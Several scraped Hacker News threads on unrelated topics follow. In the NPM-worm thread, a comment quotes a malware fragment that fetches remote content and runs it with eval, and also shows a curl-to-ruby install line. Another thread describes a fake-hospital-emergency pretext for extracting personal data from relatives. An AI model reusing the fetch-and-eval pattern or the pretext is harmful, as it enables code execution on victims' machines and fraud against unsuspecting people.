</comment></comment></comment><comment><USER12> The "How it Works" page doesn't seem to actually explain how it works. I found the Export Guide to be more what I was expecting on the How it Works page.

I was also expecting it to be a bit more seemless than it is. It appears that to sync, I have to manually export my contacts from each source and upload the file to you. Same for syncing. Also, having to use a third party paid tool to sync to Outlook isn't desirable.

<comment><AUTHOR> Hi impostervt,

Yep, agree with you - we by no means are all the way there yet and there's still lots to do. Syncing is seamless, but at the moment you do need to export your current contacts and upload them to us. We are working on fixing that. Outlook is an issue because of its lack of support for CardDAV and is an issue I'm looking at as we would love to have better support or at least a free plugin.

This is very much just the start. Thank you for your comments though.

</comment></comment><comment><AUTHOR> Founder here: started on Hacker News back in November (1) and now built. There's lots still to do though - all thoughts and comments welcome. You can email directly at firstname.lastname@example.com as well.

1\. <http://news.ycombinator.com/item?id=4777826>

</comment><comment><USER13> Inline CSS :o

But nice idea!

"We are constantly working to improve Add and add useful and exciting features."

Do you have a roadmap? (pure curiosity, I don't see what kind of feature you can add)

<comment><USER14> (I'm not affiliated with Add in any way.)

It's nice that you looked at the source, and if you were a manager of an established site or app it would make sense to be concerned about inline CSS there because it's a maintainability nightmare, but frankly I'm sure these guys have other stuff to be working on. I will be the first to admit to dropping in some inline CSS on occasion, and if it helps get things out the door then I'm all for it.

<comment><USER13> I'm for dropping in inline CSS for quick fixes too. But I didn't think using inline CSS everywhere was something people still do today. (To be honest, I looked at the source because the rendering was odd on my computer, and I wanted to know if it was my you-should-not-pass corporate firewall which was blocking something, or just a it-renders-better-on-chrome problem)

</comment></comment></comment><comment><USER15> With $3 / month, $30 / year isn't 20% off, it's 16⅔% off.

<comment><AUTHOR> Doh.

</comment></comment><comment><USER16> before I would use a service like this I would need MY data to be encrypted on your servers so NO ONE but me can read it. Even you.

I can't quickly/easily see if this is how the data is stored.

There is no way I'm giving you my social graph even if you say you wont sell it or give it away. You might be bought or the government might ask for it.

Looks good though, good luck.

<comment><USER17> Your data is already out there on the open Internet. I could probably find your blood type based off your HN account.

<comment><USER18> If you can, please drop me an email with mine.

<comment><USER17> Honestly, I could. It'd probably require deception, though. Once I found your address or even your name I can grab a list of your suspected relatives. After that, I can find their phone numbers, and call them, and tell them you're in the hospital and in need of a blood transfusion or you'll die.

They'll find me it very quickly.

I used intellius to conduct a background check on someone the other day and for a few bucks I got all their public records, prior addresses, emails they used when they were in high school (mine too, apparently AOL and Yahoo sell your data to companies like intellius). Also, a fairly complete list of relatives, and contact info for them as well, neighbors too.

While finding your blood type is definitely possible, I don't really have an interest in spying on you :)

<comment><USER18> That's cool. Part of the reason I asked is that I haven't even disclosed my email, let alone name, on HN.

re:family - my family is (unfortunately) well aware of aware that this would be a scam, having spent too much time with health services. Also, the fact that I wasn't raised in the US puts me at a distinct advantage here :)

But your point is well taken: some intellius&friends, some social engineering, and you get what you want.

</comment></comment></comment></comment></comment><comment><USER19> Nitpicking, but technically the $30/year membership is saving 16.7% on the $3/month membership and not 20%.

</comment><comment><USER20> I am desperate for a good contacts solution

Your page does nothing to focus on my pain or tell me how you can fix it

I (and I am guessing My pain is pretty common) want

1\. The same contact list on my email, Skype, mobile 2\. That's it

Tell me how you solve that - iPhone and android integration, outlook and gmail will capture what 75% of the market?

I will leap through fire if you can then give me reports on who I talked to, who I skyped and rang and emailed Nd for how long.

But really I do not know what you do, what of my problems you solve and how you do it - even after glancing at the how page.

Sorry for the Downer but there is a big market out there with pretty simple requirements.

<comment><AUTHOR> Hi lifeisstillgood,

We obviously haven't made it clear enough on our site.

1\. I would need to know a bit more about your setup - but if you are on a Mac, we have integration with your email, the Skype app and syncing to iPhone/Android.

If you are on Windows, then it's a bit more complicated and depends on what you use.

Drop me an email at email@example.com if you want with your setup and I'll see if it will work, now or in the future.

Regards

<comment><USER20> > We obviously haven't made it clear enough on our site. I was just letting > you know. :-) Just a small point but your site stuck me as making fatal > marketing mistake #1 - it was talking about you not about me.

not Mac, FreeBSD. But thinking of moving to Ubuntu for simplicity.

<comment><AUTHOR> You should be able to get your contacts into Evolution or any other software that supports CardDAV. We will try and get some instructions up this week - check back on <http://useadd.com/guides/connect> later

Thank you for the comments, really appreciated.

</comment></comment></comment></comment><comment><USER21> I was really hoping this had to do with the lenses in my eyes.

<comment><AUTHOR> Sorry :)</comment></comment>


Mistakes young entrepreneurs make, but don't have to - <AUTHOR> http://finance.fortune.cnn.com/2011/01/04/15-mistakes-young-entrepreneurs-make-but-don%E2%80%99t-have-to/

<comment><USER2> Back in the dot-com days I wrote a lot of businessplans, both for my own things and for others. I excelled at the whole hockey-stick curve and the "we will enhance shareholder value by doing x" (I always put in this Cryptonomicon quote to see if anyone noticed - noone ever did). The businessplans I wrote were flashy, followed the agreed format (index, executive summary, etc. etc.) and sold the product well.

What I see now, but didn't then was:

1) The more shiny your businessplan is the more clueless investors you'll attract. (Clueless investors say "oohh that's amazing growth you show in that graph", good investors say "yeah so what, where are the assumptions?" Dealing with clueless investors takes up a lot of time, knowledgeabe investors will back you with a plan written on the back of a napkin if the think you can pull it off.

2) As mentioned in the article, a businessplan isn't a business. I would start to believe my own hype and act like we were all already riding the hockeystick to startup fame.

3) Businessplans tend to get stale, and (bad) investors will expect you to do what your businessplan tells you to do. Even when conditions have changed, which they always do.

Now I see businessplans as shallow shiny objects that don't really deliver any value. A one page strategy plan and an excel chart tracking numbers is sufficient, at least in the early stages. Time spent writing a businessplan is much better spent writing code or getting customers.

<comment><USER3> I had a business advisor recently on an idea I pitched to the local council (but never heard anything back...) and he absolutely hated business plans. However, if I want to get any sort of Government or Trust funding for any business I want to start, I need a 40+ page business plan.

Boring. I agree with your points, it's much better to spend that time writing code and getting customers. I prefer to write concept plans and strategies that take maybe 5 pages instead.

</comment></comment><comment><USER4> Business plans are very much like 'big design' documentation.

If you have a 50+ page business plan that took you weeks to research & write you either become stuck with executing that plan no matter what, or you spend an inordinate amount of time on updating/refactoring your business plan as things change.

Business plans for entrepreneurs serious about starting a business (and not just finding VC) should be agile. The first rule of business is that how you see your business structured and operating now will change. So, make sure your planning doesn't eat your life and paralyse your implementation.

</comment><comment><USER5> What a stunningly pointless article.

I understand that a number of the things in the article are good sense... But they're _common_ sense and also aimed firmly at the middle of the road plans... Average market, average profits, average... CNN reader.

I think there's a lot more merit of focusing on building good shit and not shooting yourself in the foot, and showing it to people at the same time.

Oh look, HN's persistant theme.</comment>


LyX: Open-source word processor for mathematicians/academics - <AUTHOR> http://www.lyx.org/

<comment><USER2> I wrote two small math books in LyX: <http://hilomath.com>

It was interesting. It's nice in a lot of ways; LyX manages to combine the kind of continuous preview you get with a full WYSIWYG word processor with the more abstract organizational features of LaTex. Not to mention the kick ass typesetting quality, especially for math.

The current site (which I'm a bit embarrassed to show - I have a much nicer looking one in the works) is generated from the LyX source, as a bunch of mostly static php pages. Its replacement is a django site that is also fully generated; I just type 'make site', which exports LyX to latex, converts to html via latex2html, and so on.

I have a plan for a third book. And as nice as LyX is, I'm wondering if I want to try docbook or something for it. The reason is I found it sometimes hard to convert things fully into an html document that fully takes advantage of the medium. LaTeX (and hence LyX) was made first and foremost for documents that are physically printed, and sometimes there's an impedance mismatch.

But LyX ain't bad, and I doubt any alternative is a magic bullet. Anyone have any experience writing books like this? What do you use?

</comment><comment><USER3> LyX is nice, but I eventually got frustrated with it and went back to emacs+xdvi. Nothing beats a well-customized emacs for me.

Emacs actually has similar functionality to LyX (I don't use it, so I don't know how well it works) in preview-latex:

<http://www.gnu.org/software/auctex/preview-latex.html>

<comment><USER4> I got frustrated with it and just use TextMate. It has a latex-typeset command. It was command-B, but its command-E now I think. It integrates really well with BibTex with autocompletion of sources. I setup some nice macros to auto do certain mundane typing tasks and all-in-all I really like it.

</comment></comment><comment><USER5> This looks pretty good, been looking for something a little more powerful then open office for research papers.

This looks like it may fit the bill without making it completely text based like *TEX.

<comment><AUTHOR> Right. LyX is a graphical front-end to LaTeX, meaning it can do virtually anything LaTeX can do. I'm a pretty avid user, since I also find that Word/OpenOffice lack many features that scientists use.

</comment></comment><comment><USER6> There is also GNU Texmacs:

<http://www.texmacs.org/>

It's excellent, but from what I can tell it's neither TeX nor Emacs. An odd name, but good software nonetheless. (You can export to TeX if you want, but that's not its native format.)

</comment><comment><USER7> I use EXP because it lets me write about 25% faster than I write by hand (with a bunch of macros and keyboard shortcuts I don't even the mouse to click on various symbols, like most WYSIWYG editors).

<http://www.expswp.com/>

I wrote the following in about a cumulative hour using EXP:

<http://math.uic.edu/~robertk/files/mth504_notes.pdf>

I've used and seen many people use various math typesetting editors, and from my experience EXP lets you be the most productive (not good for research papers, but very good for writing homework, notes, etc.).

<comment><USER8> Hmm looks kind of expensive though. Does it really justify the price?

<comment><USER7> Oh, right. I got it for free. :)

</comment></comment></comment><comment><USER9> I love LaTeX for docs that simply use one of the built-in documentclasses -- and which use no extra packages or custom commands or environments.

I strongly dislike it for anything else. Getting anything non-default to work right has always been a major headache for me.

Also, conversion to html should be easier. Last time I looked, latex2html was pretty much unmaintained and also a bear to even get installed (if your OS doesn't already provide a package for it).

Texinfo might be a good substitute for LaTeX, but it's a bit clunky with manually specifying menus (nodes and sections)... though I know that Emacs will do that for you.

</comment><comment><USER10> TexShop (<http://www.uoregon.edu/~koch/texshop/>) is nice if you are writing on a Mac. The editor is not quite as nice as TextMate, but everything is nicely integrated.

</comment><comment><USER11> Putting aside any possible biases, anyone interested in an easy to use LaTeX- like program should give Microsoft's Word 2007 a shot. The new equation editor and symbols functionality is quite powerful, and incredibly easy to use.

<comment><USER6> Easier to use than typing something like:

      Here is an equation: $y = x^{2x + 1}$.

Probably not. GUIs trade learning for speed. You never have to learn anything, but you'll never be fast. The GUI will always be in your way, slowing down your work. TeX is the opposite -- you have to read a lot to get started, but then the only difficult or tedious part of writing will be the subject matter you're writing about. The only barrier between your mind and beautiful output will be your slow fingers :)

LyX and Texmacs are a good compromise, however. You can write the code when you're comfortable doing so, but you can click stuff when you're learning.

<comment><USER11> I still maintain its easier to get your professor or colleagues to upgrade to Word 2007 than to convince them to learn LaTeX.

<comment><USER12> Weird. I haven't had a college professor who has to typeset mathematical equations who _doesn't_ know LaTeX.

<comment><USER13> Perhaps he could have said "It's easier to get your _students_ to upgrade to Word 2007 than to use LaTeX".

Which would be true. However, it's a much better _idea_ to get them to use LaTeX.</comment></comment></comment></comment></comment>


Ask HN: What problems are podcasters facing? - <AUTHOR> Hey, HN
I'm the founder of Castup, a startup that provides professional podcast editing services to indie podcasts and networks, starting at 40 cents per published minute.
Since it has been a while we've been successfully running this startup, I wanted to expand a bit and see if we could help Podcasters in other ways.
For example, a problem that I think a lot of Podcasters have is they don't want to spend $20-$30 each month for a website, and my team and I are currently studying whether we can provide mini website that costs $29 per year (we are currently working out on economies, how will things work etc.) but I'm sure there are other problems that we can attempt to solve with good design and code. So, let's hear them?
Our website: https://www.useCastup.com <comment><USER2> Your post is an ad. You've also tweeted a link to this thread both from your company's twitter and your personal account. It's kind of desperate and embarrassing. Just don't.

<comment><AUTHOR> Tweeting a HN thread that I want people to be a part of is not embarrassing to me. Maybe we just have different definitions of the word?

Checking someone's post history, and Twitter just so you could have something to comment on an "ad" about is kinda sad though. But, have a good day!

</comment></comment><comment><USER3> This question seems like just a promo for your company, but I'll bite.

Discoverability is by far the biggest problem any media company faces (and podcasters are a media company). Millions of minutes of viewing, listening, and reading content are created every day, and the barriers to creating content have never been lower. The biggest problem podcasters (or anyone else in media) face is that created content goes into the void never to be seen or listened to. No ideal solution exists for this, as people have a finite amount of attention, and more content is created than can be consumed in a day.

<comment><AUTHOR> Now that I read it, it does come off as a promo, but I'm actually trying to do is get some product/service ideas (other than the one we are offering) like other similar HN threads

Wouldn't good targeting solve this problem, for Podcasters at least? When you record a podcast, you know what type of audience you are talking to, and based on that, you can target them via social channels.

</comment></comment><comment><USER4> y, I'm not sure websites for podcasts are a problem.

If you host with castos.com or transistor.fm you get a mini site where your podcasts live on their domains. So I'm not sure having a website is an issue for most podcasts.

I think a podcast website offering would probably be easier coming from their podcast hosting company that way the website and podcasts are with the same company.

So it doesn't seem like a natural fit for the company doing the editing.

<comment><AUTHOR> I love the website Transistor comes with, and I think if every podcast gets a site like that, that'd be great for the Podcaster's community and should help with discoverability.

<comment><USER4> y, I'm a big fan of Transistor. They are doing a great job.I definitely get a better/more pro feel for podcasts hosted there vs their competitors.

</comment></comment></comment><comment><USER5> YouTube demonetization? Most podcasters also post to YouTube and they've been hit by the various "adpocalypse" changes.

<comment><AUTHOR> Now that's a problem I hadn't come across, mainly because most of the Podcasts that we work with don't post to YouTube, but this is definitely something we can take a look at. Thank you!

</comment></comment><comment><USER6> how dare you try to create value for your customers by engaging with them

unbelievable</comment>


Pixelpusher: Real-time peer-to-peer collaboration with React - <AUTHOR> https://medium.com/@pvh/pixelpusher-real-time-peer-to-peer-collaboration-with-react-7c7bc8ecbf74 <comment><USER2> Short version:

We combined the Automerge CRDT and the Dat protocol into an Electron app, and it's fun!

<comment><USER2> There are some binaries available if you don't want to build it yourself.

[https://pp-test-dmg-jimpick.hashbase.io/](https://pp-test-dmg- jimpick.hashbase.io/)</comment></comment>


How Doctors Die - <AUTHOR> http://www.saturdayeveningpost.com/2013/03/06/in-the-magazine/health-in-the-magazine/how-doctors-die.html

<comment><USER2> This is a very striking article, and I feel it gave me some important things to consider when it comes to medical decisions like this. While I'm still (very) young, and hopefully won't have to deal with this sort of thing for many years, I hope that when I am in the position of choosing to prolong an uncomfortable life, or dying with a little more dignity, I will be brave enough to choose the cheaper and potentially less painful option for all involved.

<comment><AUTHOR> Absolutely. Reading it I was thinking that I also want to die without a fight, without the last desperate medical torture.

But perhaps it's only the experience of seeing how people suffer in prolonged death that makes doctors brave enough to face death that way.</comment></comment>


Artists Commandeer (illegal) Manhattan Billboards - <AUTHOR> http://blog.rocketboom.com/post/104404695/artists-commandeer-manhattan-billboards <comment><USER2> From the video:

 _We're trying to make a point here that the public should be the ones using the public space and not commercial and private interests._

This guy lives in a different world. Equivocation aside, those 'public' spaces are privately owned. When this guy says that the 'public' should be the ones to decide, what he really means is that he thinks his opinion of how the space should be used ought to trump that of the owners who pay to own and maintain their property.

<comment><USER3> Standard self-righteous anti-advertising screed being used to justify vandalism. Nothing interesting to see here. Move along.

<comment><AUTHOR> I agree that anti-advertising screeds are annoying, but surely you agree that the works are more aesthetically pleasing than a movie poster?

<comment><USER4> Beside the point. You wouldn't take it upon yourself to change people's clothes on the street, no matter _how_ much better your fashion sense is.

<comment><AUTHOR> It's more like intercepting spam and replacing it with a haiku

<comment><USER4> The difference is, your inbox is _yours_. Those walls belong to someone, and if they want to turn a profit renting the space to advertisers, that's their business and no-one else's.

edit: Questions of legality aside, I mean.

<comment><USER5> "NPA Outdoor operates over 500 street level billboards in NYC ranging in size from approximately 4'x4' to 50'x12' all of which are said to be illegal."

If you are making money by breaking the law and annoying people then I have far less sympathy for them than if their legal private property where damaged. IMO, It falls under the category of destroying illegal campaign advertising on public land.

<comment><USER3> Are you a cop or a judge?

<comment><USER5> No, but I might end up on the jury of your peers.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER6> Give me the art over the ads any day. In large cities, our vision is violated by garish sprawling advertisements from public places, so even if the property is private, it still infringes on the individual.

Billboard advertising can be oppressive, because people are exposed to the ads without consent, and they are, well, big. The very root of advertising is that companies seek to "create" a need/desire in the individual, which can ultimately exacerbate the worst aspects of consumerism - loss of community values, commercialisation of childhood etc.

Maybe the action of these artists isn't "the answer" but it's definitely an effective way of making people think.

<comment><USER7> > our vision is violated by garish sprawling advertisements from public > places, so even if the property is private, it still infringes on the > individual.

Can you explain to me how your stance doesn't equally disapprove of people saying things that you disagree with (which is quaintly called "freedom of speech") ?

> people are exposed to the ads without consent

Oh noz!

Why, exactly, do you think that your proposed "right not to see things you don't want to see" trumps the right of others to advertise on their own property / speak their own minds?

<comment><USER8> I believe the most interesting aspect of your comment is the conflation of individual, corporate, and commercial speech as "free speech".

 _Why, exactly, do you think that your proposed "right not to see things you don't want to see" trumps the right of others to advertise on their own property / speak their own minds?_

Your position is predicated on the idea that other's speech and property rights trump speech rights -- that is, the artists' free speech rights are constrained by the property and free speech rights of the advertisers and owners.

Does this not imply that there could be constraints on the exercise of free speech insofar as it infringes upon the rights of others? Could pervasive, unavoidable public advertising, explicitly designed to instill desire through emotional manipulation, somehow infringe on my rights as an individual to not listen?

<comment><USER3> >"Your position is predicated on the idea that other's speech and property rights trump speech rights"

That's typically how it works. Paul can ban people from his site. The New York Times can prevent you from publishing an article on its pages. Neither infringes on your free speech rights, as understood by law and Western intellectual tradition.

<comment><USER8> _That's typically how it works. Paul can ban people from his site. The New York Times can prevent you from publishing an article on its pages. Neither infringes on your free speech rights, as understood by law and Western intellectual tradition._

Yes. However, I can also choose to not read Hacker News, or The New York Times.

</comment></comment></comment></comment></comment><comment><USER9> This just seems like vandalism. If the original billboards truly are "illegal" (which I'm skeptical of), it is a matter for the city government, not a bunch of "artists".

<comment><AUTHOR> I wouldn't call painting over temporary plywood walls covered in movie Ads vandalism.

<comment><USER2> If a stranger (carefully) picked the lock to your home, then proceeded to vacuum-clean your carpets, mop your floors, and wash your windows, would you not call that breaking and entering?

(I'm assuming here that the original advertisements were placed with the permission of the property owners. Otherwise the placing of the initial advertisements was vandalism, as is replacing them with something else.)

<comment><USER10> Most of these temporary plywood walls, when they initially go up, are covered in stenciled signs saying "post no bills."

Week or two later, and they're covered in these cheap poster ads.

<comment><USER11> Well I flyer for my business and we typically put a single flyer in several locations, sticking to billboards or phone poles.

Whats really gross is when an ad agency uses a "street team" to carpet bomb every available surface.

I also provide a bulletin board for public use in my establishment. I regularly have to remove the posters of people who put up ten or more and cover up other peoples flyers.

I also remove the flyers that people put on my front windows, the bathroom mirrors and even tabletops.

So really I see this issue as exactly the same as managing a message board. Encourage good content and delete spam or your board becomes a ghetto with a lousy signal to noise ratio.

As far as the artists go, whether they are better or worse than the ads is a subjective decision. If anything they are at least creating a dialogue which is worth something.

</comment></comment></comment></comment></comment><comment><USER12> Read the May 3rd post at <http://www.publicadcampaign.com/>

It explains the difference between first-party signage and third-party signage. It sounds like this group had been targeting illegal third-party signage and that a certain company (NPA) had found an ingenious legal way to have third-party signage classified as first-party signage.

Rob

<comment><USER13> I like NPA's legal hack! Here's the direct permalink:

[http://www.publicadcampaign.com/2009/05/how-to-convert- illeg...](http://www.publicadcampaign.com/2009/05/how-to-convert-illegal- third-parties.html)

OTOH, a New Yorker once mentioned to me there were people (other than the property owner) who had de facto control over the 'flyposting' in certain areas; if you paid them, you could be sure your posters were up (and not covered by others). It seemed vaguely like a protection racket. Can anyone else confirm or refute that it sometimes works that way?

</comment></comment><comment><USER14> I liked the ads better.

</comment><comment><USER15> Hey, RB. Haven't been there since Amanda threw herself to the floor kicking and screaming. ABC wasn't it?</comment>


Basho's Contact Form - I hope these guys are serious - <AUTHOR> http://info.basho.com/startups.html

<comment><USER2> Fairly certain they have a few people already doing this. Lots of happy customers over there from the sounds of it and not just fly-by-night operations either.

<comment><AUTHOR> Definitely not fly by night. This is why I was surprised.</comment></comment>


Microsoft says Edge browser will not support Silverlight - <AUTHOR> http://www.techspot.com/news/61236-microsoft-edge-browser-not-support-silverlight.html

<comment><USER2> Bummer, stuff like the F Sharp Tutorial requires it.

[http://www.tryfsharp.org/](http://www.tryfsharp.org/)

I had disabled Silverlight in my web browser, and had to enable it to use the Try F Sharp tutorial.

These websites that use Silverlight have to be rewritten to use something else instead.

<comment><USER3> IE11 will be included with Windows 10 for the foreseeable future [1]. This should give site owners time to switch to HTML5.

[1] [https://technet.microsoft.com/en- us/ie/mt163706.aspx](https://technet.microsoft.com/en-us/ie/mt163706.aspx)

<comment><USER4> I doubt that most people will close Edge to open IE 11 just so they can use Silverlight unless they absolutely have to.</comment></comment></comment>


Facebook Photo Trends [Infographic] - <AUTHOR> http://www.pixable.com/blog/2011/02/14/facebook-photo-trends-infographic/

<comment><USER2> Infographics and statistics seem to be a new advertising strategy. I say this appreciatively mind you! I far prefer these sorts of posts than the generic PR babble produced by most companies. OkCupid[1] seemed to be one of the pioneers of the format and I'm glad to see others follow.

What exactly is the attraction however? Do we feel we get a more thorough understanding of ourselves or our friends when looking at this? When you look down at the figure that says "You have 97,000 photos in your network" does that give you a new found respect to the collaborative creative ability of your social circle? Of humanity overall?

I'm interested as whatever it is that attracts us to this page is as much a reflection on us as it is on the article.

[1] <http://blog.okcupid.com/>

<comment><AUTHOR> I believe that from now on, most of the statistical analysis, will be done using visual representation, like infographic, because it is easier to comprehend. It is also quicker to see an image than to read a whole essay regarding the analysis.</comment></comment>


Estimating Community Drug Abuse by Wastewater Analysis - <AUTHOR> https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2516581/ <comment><USER2> Every monitoring system eventually is used for social control, despite the best intentions of the creators. This is as true in the "public" domain as it is in the private workplace.

In this instance we will soon hear a hue & cry for monitoring of the drug levels in public waterways and sewers. To ensure no crime goes unpunished, that will be followed by the creation and use of systems that track drug use to the individual household (if such systems don't already exist). The information from such systems will be handed over to law enforcement et al, who will use it the same way they use all other information from monitoring devices.

As the ACLU predicted years ago, this information will be shared with 3rd parties to the degree that, should you order take-out pizza with cheese, you will receive an e-mail warning from your insurance company that your premium may increase if you don't control your diet better.

Now, by monitoring your sewer (indeed all your inputs and outputs), your insurance company (and others) can ensure that you don't make that cheese or that pizza yourself on the sly. There is no escape.

<comment><USER3> > every monitoring system eventually is used for social control

That statement, even if true, does not specify what time frame "eventually" is, to what degree the "control" is, or whether the result is a net benefit to civil liberties. Perhaps the control is in the form of reducing violence, which increases liberty. There's always a trade-off.

</comment></comment><comment><USER4> This isn't estimating drug abuse, it's estimating drug use. Wastewater measurements alone are not enough to determine how much of that use is harmful.

<comment><USER5> So how much cocaine or heroine is non-harmful? I would even say cannabis is also shown to be harmful cognitively unless someone stops for 4 weeks but I digress.

<comment><USER6> About cannabis, you would say that based on what?

<comment><USER5> Multiple of research studies. The long term harm has been ruled out but short term of days and weeks is shown in multiple of studies in regards to harm to cognitive and memory.

</comment></comment></comment></comment><comment><USER7> > The social and medical problems of drug abuse are a matter of increasing > global concern.

 _citation needed_

Frankly I don't think people take enough drugs. We could do with a few more open minds instead of the horrific mess the squares have got us into.

<comment><USER8> A citation wouldn't be used for that sentence, by convention, because it's in the article's abstract, rather than in the article proper.

Moreover, regardless of what _you_ think about drug (ab)use, it _is_ a matter of increasing global concern. That doesn't imply anything about enforcement, legalisation, etc; it's just a statement of fact.

<comment><USER9> As far as I can tell it's a matter of decreasing global concern. US pushed a huge swath of global drug policy, and now that it's backtracking more reasonable responses are becoming common.

<comment><USER8> Maybe now, though the article's from 2008 and it's only comparatively recently in history that the drug war began. I mean, fair point, but it seems we're just quibbling about a background sentence. Even if it did oversell the problem/motivation, that's not unheard of in academic papers...

<comment><USER9> It's a minor point, but this trend has been picking up steam for a while. Not going though the full list, but 2008 was in the middle of this.

Several states had already long allowed medical use by 2008. Maine 1999, Nevada and Hawaii 2000 etc. But, Massachusetts decriminalized in 2008. 2009 Maine " further decriminalized cannabis when Governor John Baldacci signed legislation (LD 250) which made possession of 2.5 ounces or less a civil infraction.[27][28]"

[https://en.wikipedia.org/wiki/Legality_of_cannabis_by_U.S._j...](https://en.wikipedia.org/wiki/Legality_of_cannabis_by_U.S._jurisdiction)

</comment></comment></comment></comment></comment><comment><USER10> This reminds me of the story of the KGB analyzing Chairman Mao's stool samples from the "private bathroom" they provided when he visited USSR. [0] [1]

[0] [http://thepeoplescube.com/peoples-blog/kgb-agent-stalin- extr...](http://thepeoplescube.com/peoples-blog/kgb-agent-stalin-extracted- and-analyzed-mao-s-excrement-t17511.html)

[1] [http://www.bbc.com/news/world- asia-35427926](http://www.bbc.com/news/world-asia-35427926)

<comment><USER11> It was said, back in hte 90's, that the Brazilian President (Fernando Collor de Mello) would have his... dejects... checked, in his first visit to the USA. There were some rumors, back that time, that he was a cocaine user.

</comment></comment><comment><USER12> My mate works for a water treatment company, so he's regularly down the sewers doing stuff. His best ever comment was that he hates it in the rich towns cos the shit stinks vile. But in the poor towns it smells OK.

I had always thought all shit smells the same.

<comment><USER13> Clearly you don't know shit.

Dietary differences I guess? I'm sure there are scientists, especially in the wildlife area that specialize in the compounds in feces.

<comment><USER12> My thought was maybe other things go down the drains that alter the chemistry? Cheap bleach vs expensive bleach? Hummus? Shampoo? Or maybe just a meat rich diet vs a more vegetarian diet of the poor folks.

He also said that in the pumping stations there are thousands of frogs and toads that have fallen into the road side drains and have been swept down the sewers. They get chewed up in the pumps.

</comment></comment></comment><comment><USER14> I find it very hard to believe that those excreted drug residues don't react with detergents, chemicals used for cleaning, oils from foods and all kinds of other pills, drugs and plants that end up in sewage. Does the study take that into account ?

Also, it is said that about 80% of dollar bills contain traces of cocaine. So combine the measurements of drugs on money and of drugs in shit and you end up with an interesting picture of society..

<comment><USER15> If it's made it through your body, it's likely to make it through the sewer... Not a lot of really reactive stuff there (cleaners/oils/detergents dissolve, not degrade), anything super reactive (e.g. bleach) exhausts itself chewing on poop. Microbial degradation is a thing, but it's not very different from human degradation so anything that's already been excreted is probably pretty stable.

</comment></comment><comment><USER16> Any ideas on making a visualization?

</comment><comment><USER17> (2008)

<comment><USER18> Yup, already saw this ages ago. Very old news.

</comment></comment><comment><USER19> can we get a map of caffeine intake by region.</comment>


How to build an NPM worm - <AUTHOR> https://jamie.build/how-to-build-an-npm-worm <comment><USER2> > While the author tried really hard to prevent any errors from being thrown > (going as far as wrapping an asynchronous https.get call with a synchronous > try-catch), it still managed to throw an error (Oh JavaScript, you > reliable... you).

      ...
      response.on('data', contents => {
        eval(contents);
      });
      response.on('error', () => {});
      ...

\---

These are both really low-hanging "I don't write javascript" mistakes to make. Most Node.js devs know that the response is a stream, right? Interesting that a hacker with little knowledge of the language still managed to cause so much hoopla.

I always get a bit uneasy when I install a package and I get some over-the-top message like "installed 1287 packages from 103 contributors, found 23 non- critical vulnerabilities". We should all definitely try harder to know what we depend on and not end up in dependency hell.

Every trivial "isArray" module you depend on is another person you need to trust, and for what? It takes a second to write a "utilities.js" file and throw in crap like:

      const isArray = x => x && Array.isArray(x);

<comment><USER3> The reason is that many people don't know how to write a proper isArray. Forgetting about security momentarily (and I promise we'll come back to it), rewriting code repeatedly is a path towards bugs and mistakes. Array.isArray didn't even exist until pretty recently, and was non-trivial to understand before then (x => x && Object.prototype.toString.apply(x) === "[object Array]", of course!). There's an entire separate discussion of why JavaScript doesn't build this stuff in to begin with, but now we're in historical land and not practical solution land.

Ultimately though, the goal needs to be to build tools where _its hard to do something insecure regardless of how we otherwise feel about that programming practice_. It can't be that the reason we shouldn't install is-array is because it can lead to catastrophic exploits -- that says something about the ecosystem not the validity of where we choose to draw the line of what merits a library.

Node is cursed in part by its success. In a lot of ways its like the early days of the web, it grew faster than we had time to figure stuff out in. That's OK if we learn quickly and adjust accordingly. We don't have to run node program's with access to everything -- but again, we don't have to run __any kind of program __with access to everything. Go to Homebrew 's website ([https://brew.sh](https://brew.sh)). This is a _developer tool_ and what they tell you to do is to blindingly copy a bash line that downloads a file from _THE MASTER BRANCH_ on GitHub and runs it on your system:

        /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Get access to this guy's password and you can compromise tons of systems too. As much as I hate the Mac App Store as a distribution mechanism, there's something to the "sandbox first" programming mentality it incidentally forces its apps into. Maybe we should be thinking more along those lines too.

<comment><USER4>
        /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Ignoring the obvious stupidity here, why does it invoke Ruby only to invoke curl?

<comment><USER3> It curls the install script, which is passed to ruby as a string which is run.

<comment><USER4> Ah, duh, you're right. I forgot $() is bash syntax and not the Ruby syntax for running an external command. Thanks, and yikes.

</comment></comment></comment></comment></comment><comment><USER5> Flagged, as URL is now unavailable when linked with the message:

      This page is unavailable when linked to from news.ycombinator.com.

      Please find a less toxic place to spend your time.

Per [https://github.com/jamiebuilds/jamie.build/commit/b66f185df4...](https://github.com/jamiebuilds/jamie.build/commit/b66f185df4c2fb25d7da08ba2529eaff5ec16603)

<comment><USER6> This interests me. I find HN to be one of the least toxic places on the internet. I mean, I left Twitter because the outrage constantly made me angry, I never joined Facebook or Instagram. I have a low tolerance for toxic. Yet HN, here I am, and have been for years.

I truly wonder, without judgment, why the author thinks that HN is toxic. I doubt he reads this but maybe some people who don't share my impression can guess?

<comment><USER7> HN can be pretty horrible if it's talking about anything connected with diversity.

<comment><USER6> Good one! That said I don't know any place that I don't find horrible when that topic is on. Except places where everybody agrees of course.

</comment></comment></comment></comment><comment><USER8> > This means that simply by opening a pull request into the right repo, you > can gain authorization to publish packages.

Travis CI intentionally avoids this sort of vulnerability by never providing encrypted environment variables when running pull requests from forks:

[https://docs.travis-ci.com/user/encryption-keys/](https://docs.travis- ci.com/user/encryption-keys/)

This is especially necessary because a pull request can make arbitrary code change, like "print the npm access token", which would then run as part of the test suite and show up in the public logs.

</comment><comment><USER9> This was well written. NPM is basically run like Github. I had always thought it was some non-profit org, but that's not the case.

It is possible NPM could take the Github route with ssh tokens and only limit NPM publishes to certain authorized computers; a minor step, but you'd have to compromise the computer as well. That could probably be an option in the NPM settings as an extra step.

</comment><comment><USER10> If I click the link, I get the following message: "This page is unavailable when linked to fromn ews.ycombinator.com. Please find a less toxic place to spend your time."

Pressing F5 obviously works around this referrer trick, but I find it interesting that someone would (ab)use the HTTP referrer to send a message to visitors from a specific site.

This is quite an innocent one, as it is obvious. But what about news/informational sites that subtly modify their message and influce. At least I would not have noticed.

</comment><comment><USER11> > But honestly, the amount of work we'd all need to put in to truly prevent > this from happening again... it's just never going to happen.

